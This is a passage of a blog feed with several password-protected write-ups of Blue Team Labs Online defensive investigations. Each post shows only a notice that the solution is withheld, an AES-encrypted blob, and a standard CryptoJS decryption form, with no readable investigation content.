Yo9gN4KYouDM0Zh3qbQIAgv0dFwDdBjKuh6GcinvexpcvljXq1hc7wuPL+yB7ALQU8mmPEmAc4LKUcLcnO2l1DC81dqMntQRgIcnQFVNKsOYRbKH3tGJV+PvQvCk7H6iE8FUZ+Oo0N/F7a7btt7OmnB8FXzO/cydpqfmv+2aj+UeiJIna2E+HaWRbP1uKkwdN1lCPEoKW/UzbEnw05hqtFXC/0J+26kKwVcxexw1cMl75bBDRlY4yAVfd7wTrv1Zs3NoBq2/rZE75mqw7U4blaZRVwCqg/z1FNvL0Cr+75hKjNo92ngFK9LNTqZXR5DzMlhAg93SElKp8dIGaNaCDLJ4CDLkFkNZEkv/g7OkROAEIXCU0DqLt/beIHwWPj6kz5ROnpWZJHQQl02KfBfx1/OqAdDt7xVsrGZXPN5pzKzs1nrmAqnqrAFUCadC53q8/JnLTCGPP3MycI7a0icLJ0p5hz6duvn2Uh3xkpj46p4EN8QIV+08xWH1Lm5fF4yHKYd+QFQ9tnQWY7O+ZbvmuRIp/7nGf+dxvxUCgw+XWxXyM6cTJYXiA3rFFSNKRfEMwRYb8ehT5D3kvgPxn7bomQGfFyfn/AGbyiU5GmPVaV0KaNgF8A7rAXgQGw+XbF++MJc0sS9MKARNSBVIw+2qBiMoCh+8/XqFs+exh4Xq9cvzQhRM7ccfh7pjOsAPdg2BGXwnZDYZWeaadUBZ1tw1l5Ats4B0edSynNY0xO2LHQf/L749bM8dkJIWtHrzVjL/fSzDIiEUS9upFbQ4RmPx4xQ56g3v3bci+51UP5vK7JdIzIN2ce+mLpRmsMKQHDwndnYwX15Szj/HrDKqXbBSIOcHlg4glkvblReddt8NANirlJ0p+kRJTQzj/yR6MMXovJVy0arg9omsl2xdkjLWyYYrnnnZ0b1r+iOLUdyC54HFyWn4lDxRZHbid9oA6FZVzhQprPnqDOP37RsDgbdnNCUYDwq530k3TvX2CH8seT7ZItJZop7eL1Gp0uWnPGY0uZANdHvmI19ptUrlxqCnUY+4hJrlbbHnAJAcYEoZenGT9fUvricttd9o788oww14Bc7rcb3faOrBgS+d6UxZzqqtdyy6EWzhg70EUfcXt5/4HHe4qJmSfS6Ad677FUD2MGSx4fsBWPMEDp2qOgCGeQv2jqldlF+KJA6a14DtjBqt8VsS66WHpRZZT5bmTCVQabbUs5nHl8YxUdbwgtYWSkxkCtlHfJP7ZcLn/0ieeRmw8J7eLL94h5a0jCoq0FjlKGeHPsysj0MiCxnmfNwMWQaFQja9AF3bB1eWvPz6alPDo8+APqZXb2ubrixozo965ptU7+VJk5m/gZsjQSbGC1HookHvMEHDKNPvAUcJI6ntyzzetZIIPosgNShWunWui1hFyJwG5ETZdpFchhpG8yiMeRbc1PF/PBr/QbFVBLQdL5uLYnR6K++Ye6D+IAjb1YAdJzBU2/YBpQwnoShevi1aoAY1bhIm3JgPQRHmTiTD8ZR1weNypPSydSYHwJ7aLkq1hB16/CSDnLAkVtb+GScgM1lFBN8AXohCELfpCOJaCDfPcLdEc1JS79ZoVycDEeDNDhn6huaVKPsLotzIVdTt3kaPqr4agH+DVOvnF/KTx2IQOD70JABrg+nBdDiZLTBpLxsUJR5g/+nP/7Pae2HDb7ahO9X+hBfM9GD7ILF+JD2NdByWCjksrC8CMbiMq2gm78NV92/CikaLpJobve3/mJ8Jc0uJQTUcNSFfaNIZ0avZ17qNg08/F3pBzKv8UpgYSLxO7zMmF4Wt5y7A7t5qovZujD2ZKyBBupHw4M=;^</div> <div id="pec-decrypted-content"> <span><strong><i>This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div>2022-03-31T13:07:23-04:002026-05-17T14:03:45.429868-04:00Eric Turnertag:blog.ericturner.it,2022-03-31:/2022/03/31/btlo-challenge-source/

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

<div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">iuNw6xpL+6IrHLhoni4rSg==;edCTPb5LrjfZggiK8cc2azoagAeqnE5kor9uKt7MUlwlV6bVSUwbm1ZRs3H5qisAM1L7C1y1IOhd1aa6kpKtgOFzgh9NpVcQ7SYqq9klgsd6XYGit5O6w6gHMAr3OXDgOBKP59sgrLqeLwZYKuQmouOaiXYxH5ntTKsCL0ka/qcUBvhpfRqHnnWDw0QrVYVZrb53tqDGfwIOS8WvThqVii1roKGNOHYXe5U+e2MDzCzkDF+xmjC3bITubsrnebgZSOWIxMEN9RmYv0r24gjlN6T4ym3k/AyLzs+eLUJgJsqDndDqqCehaBXu04vNJCb2QajnZz0tBoaGS0G04W0ZaC9pFN07UQuS3hnmUGVoKNUJlHfA2Kulusfq/TXPvyuJZ03si+tY/SL8DTwgnYwHcNAtwMUDa2DREcCUlKrYlvnLiAk2Dh8P72ft/FoEPPjFyls8WVlJYJLz18f1wmXIEQ26u+PbsjOpXa1Qs1m3+NI1OlFCJ6R73o3W5kSjs4nwi1fUIv3WRdqt23Tf+CVBjZZaZtjVrYHSR6h3zN5igornwj4n6ihGtw2MtXxVJzs1buEpfdZ/iRy+GCT2Up2DLPks48qPulAWLQ26IxQDxvLuRVvQb5HX9gCyqxwmUvGpBuNJh36gcJter/E0teeQ4/UiI6mr/vi+RVq6gXbl8x3X3uxnxAGfjLANjzn9Xgo/jc5MUgxydtguAOq/kZosY1O3H9JjaVOpJcAbxYo8PEfrunKL4/+DFmOUFJqNXJnEGch9rkmQ8Oa5971qWpGhPjE88Lhwvt9w+Ifdagfg8q+T4XNK0qz1Mae40PRlqMshfBLHowAcO+6DAP6n3nq5bgXOSFrN+a1CAZIYHQxT4+MvzVmca62AKKdD57j3dt5/OsLv+J6hfkD9Y4uDMG1raSuieh+jG/M6YoGHmQfbFECvI1vbAHJB0KhVbPov52JdBKciVfDBHzARSaAsWBGNUn0rp3kuhTxy39l3GucoCLtXt+VSXDv8yDECt7/O9sDf1IlyiebEddAom4ssfCazDMNbuWWqcQWUSGQNIX5PFzALIAU1A/dleHnvUYddZrkhNGNKsDb0wf6Be6FRCeNzyvXgLdg4dKzjowZJy9jdnvQOWJia0Tlc+VQdn+tXJfMA6Q0pkPm9CXm4zfFQPcHkdwAs4BQo+RXgf4ySZy6S/qEwKrK6fZn3fK3/qdPYCcUIbVQBw+sX40JVCbEbLg+OhummGUsCRDro81R4GMDNXhuNYxyiD79f3l1GY/V1gPXK;^</div> <div id="pec-decrypted-content"> <span><strong><i>This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div>2022-03-31T12:42:34-04:002026-05-17T14:03:45.429868-04:00Eric Turnertag:blog.ericturner.it,2022-03-31:/2022/03/31/btlo-challenge-bruteforce/

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

<div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">O/5S3gRyI73QmHko6s4oPA==;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;^</div> <div id="pec-decrypted-content"> <span><strong><i>This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div>2022-03-29T17:53:10-04:002026-05-17T14:03:45.433868-04:00Eric Turnertag:blog.ericturner.it,2022-03-29:/2022/03/29/btlo-investigation-eric/

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

<div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">K3PiVXkKCZKS5Me0yRzBsA==;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